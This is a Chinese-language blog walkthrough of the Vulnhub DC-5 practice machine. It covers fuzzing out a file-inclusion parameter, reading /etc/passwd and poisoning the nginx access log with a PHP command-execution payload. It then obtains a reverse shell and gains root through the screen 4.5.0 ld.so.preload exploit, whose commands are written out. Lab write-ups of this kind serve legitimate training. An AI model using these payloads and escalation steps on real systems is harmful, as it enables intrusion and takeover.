Vulnhub DC-5 靶机渗透

1、信息收集 DC-5靶机描述 获取kali的ip地址: 扫面该局域网下的所有设备: 发现DC-5靶机的ip地址为192.168.0.149,用nmap对该ip进行扫描: 发现80端口开启,在浏览器中输入该ip,发现该网...

1、信息收集

DC-5靶机描述

获取kali的ip地址:

扫面该局域网下的所有设备:

发现DC-5靶机的ip地址为192.168.0.149,用nmap对该ip进行扫描:

发现80端口开启,在浏览器中输入该ip,发现该网站的CMS是Nginx

对该目录进行扫描:

发现并无有用信息

翻看四个界面,发现只有contact界面可以进行输入内容

随便输入信息后,点击submit,发现进入了thankyou.php页面

点击刷新后,发现底部日期发生了改变。

利用wfuzz进行扫描

wfuzz -w wordlist -w wordlist -u URL/FUZZ=FUZ2Z

发现大部分测得的字符长度都为851ch,于是将这个长度字符的对应内容都过滤掉:

wfuzz -w wordlist -w wordlist --hh 851 -w URL/FUZZ=FUZ2Z

发现变量名和文件:file=footer.php。(过程有点慢,也可以使用其他的目录扫描文件进行扫描,比如御剑,但是我用御剑没扫描到)

2、进行操作

利用burpsuite对contact过程进行拦截

易知,file是可利用的参数。拦截后发送到Repeater,将 file后的内容改为/etc/passwd,可以查看passwd中的内容。

将文件转到/var/log/nginx/access.log日志文件下:

在burpsuite中将file后改为<?php phpinfo(); ?>,看能否记录到日志文件中

向下滑发现可以记录到日志文件中

因此,想到file后输入<?php system($_GET['cmd']); ?>,然后运行nc反弹shell。在kali中打开监听端口,连接到该端口:

利用Python获得一个交互式shell:

3、提权获得flag

将无权限访问的目录过滤掉 find / name -perm -u=s -type f 2>/dev/null,得到结果:

发现可疑文件screen-4.5.0,搜索该文件漏洞,发现shell

将该shell复制到/var/www/html目录下:

查看dc5靶机下所有目录的权限,发现tmp路径有所有权限,因此,切换到tmp路径下,下载41154.sh文件

运行,发现无法运行。

于是看41154文件的内容。将一下三部分分别设为三个不同的文件

文件名分别为libhax.c, rootshell.c, run.sh,注意最后一个文件开头要加上#!/bin/bash,然后运行代码

gcc -fPIC -shared -ldl -o libhax.so libhax.c
rm -f /tmp/libhax.c gcc -o rootshell rootshell.c rm -f /tmp/rootshell.c

发现依旧无法运行。因此选择在命令行中输入该脚本中的每一个步骤,即

cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne ?"\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls

/tmp/rootshell

运行完毕后发现自己已经是root了

切换到/root路径下,获取flag:

4、知识点总结:

  1. wfuzz爆破路径
  2. php的引用函数
  3. 当cms是nginx时对日志文件的利用
  4. nc 反弹shell
  5. 对脚本文件的阅读,以及将一个文件进行拆分
  6. kali apache2开启后的默认路径是/var/www/html
  • 发表于 2021-04-15 22:00
  • 阅读 ( 150 )
  • 分类:互联网

0 条评论

请先 登录 后评论
李峰w
李峰w

728 篇文章

你可能感兴趣的文章

相关问题